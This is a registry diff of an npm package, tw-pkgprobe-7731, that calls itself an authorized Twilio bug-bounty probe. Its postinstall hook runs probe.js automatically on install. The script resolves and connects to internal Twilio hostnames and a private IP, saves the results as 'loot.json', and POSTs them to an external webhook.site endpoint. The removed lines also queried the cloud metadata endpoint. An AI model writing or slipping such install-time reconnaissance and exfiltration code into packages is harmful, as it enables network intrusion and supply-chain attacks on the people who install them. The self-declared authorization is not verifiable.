tw-pkgprobe-7731 1.1.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -2
- package/probe.js +24 -28
package/package.json
CHANGED
|
@@ -1,11 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "tw-pkgprobe-7731",
|
|
3
|
-
"version": "1.1.
|
|
3
|
+
"version": "1.1.1",
|
|
4
4
|
"description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"license": "MIT",
|
|
7
7
|
"scripts": {
|
|
8
|
-
"preinstall": "node ./probe.js || true",
|
|
9
8
|
"postinstall": "node ./probe.js || true"
|
|
10
9
|
}
|
|
11
10
|
}
|
package/probe.js
CHANGED
|
@@ -1,30 +1,26 @@
|
|
|
1
|
-
// Authorized bug-bounty research probe (Twilio HackerOne)
|
|
2
|
-
// Serverless packager sandbox to Twilio-owned hosts.
|
|
3
|
-
const
|
|
1
|
+
// Authorized bug-bounty research probe (Twilio HackerOne): connectivity matrix from the
|
|
2
|
+
// Serverless packager sandbox to Twilio-owned hosts. Fast, parallel, streams results out.
|
|
3
|
+
const dns=require('dns'), https=require('https'), net=require('net'), fs=require('fs');
|
|
4
|
+
const HOOK='https://webhook.site/5764994f-28a3-41b2-b1f7-1ecc13e8e5ca';
|
|
4
5
|
const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com",
|
|
5
|
-
"
|
|
6
|
-
"
|
|
7
|
-
"
|
|
8
|
-
|
|
9
|
-
const
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
function
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
for(const h of HOSTS){
|
|
19
|
-
const rec={};
|
|
20
|
-
try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';}
|
|
21
|
-
if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; }
|
|
22
|
-
rec.tcp443=await tcp(rec.dns,443,5000);
|
|
23
|
-
if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000);
|
|
24
|
-
out.results[h]=rec;
|
|
25
|
-
}
|
|
26
|
-
out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};
|
|
27
|
-
out.imds=await get('https://169.254.169.254/latest/meta-data/',3000);
|
|
28
|
-
try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
|
|
6
|
+
"support-api.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","code.hq.twilio.com",
|
|
7
|
+
"snyk-sendgrid.corp.twilio.com","knowledgenest.twilio.com","service-catalog.in1.twilio.com",
|
|
8
|
+
"one-console-internal.ashburn.us1.twilio.com","eventgw.us1.twilio.com","issues.corp.twilio.com"];
|
|
9
|
+
function post(o){return new Promise(r=>{try{const b=JSON.stringify(o);const q=https.request(HOOK,{method:'POST',timeout:5000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},res=>{res.resume();res.on('end',()=>r())});q.on('error',()=>r());q.on('timeout',()=>{q.destroy();r()});q.write(b);q.end();}catch(e){r()}});}
|
|
10
|
+
function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let d=0;
|
|
11
|
+
const f=v=>{if(!d){d=1;try{s.destroy()}catch(e){};r(v)}};
|
|
12
|
+
s.on('connect',()=>f('open'));s.on('timeout',()=>f('timeout'));s.on('error',e=>f('err:'+(e.code||'')));});}
|
|
13
|
+
function head(h,ms){return new Promise(r=>{try{const q=https.request({host:h,port:443,path:'/',method:'GET',timeout:ms,rejectUnauthorized:false},res=>{let b='';res.on('data',d=>{if(b.length<200)b+=d});res.on('end',()=>r({s:res.statusCode,srv:res.headers.server||'',b:(''+b).slice(0,150)}))});q.on('error',e=>r({e:e.code||''+e}));q.on('timeout',()=>{q.destroy();r({e:'timeout'})});q.end();}catch(e){r({e:''+e})}});}
|
|
14
|
+
async function one(h){
|
|
15
|
+
const rec={host:h};
|
|
16
|
+
rec.dns=await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR':a)));
|
|
17
|
+
if(rec.dns!=='ERR'){ rec.tcp=await tcp(rec.dns,443,2500); if(rec.tcp==='open') rec.http=await head(h,3000); }
|
|
18
|
+
return rec;
|
|
29
19
|
}
|
|
30
|
-
|
|
20
|
+
(async()=>{
|
|
21
|
+
if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return;
|
|
22
|
+
const recs=await Promise.all(HOSTS.map(one));
|
|
23
|
+
recs.push({host:'10.208.61.13-direct',tcp443:await tcp('10.208.61.13',443,2500),tcp80:await tcp('10.208.61.13',80,2500)});
|
|
24
|
+
try{fs.writeFileSync(__dirname+'/loot.json',JSON.stringify({recs,cwd:process.cwd()}));}catch(e){}
|
|
25
|
+
await post({event:'netmatrix',cwd:process.cwd(),recs});
|
|
26
|
+
})().catch(e=>post({event:'err',e:''+e}));
|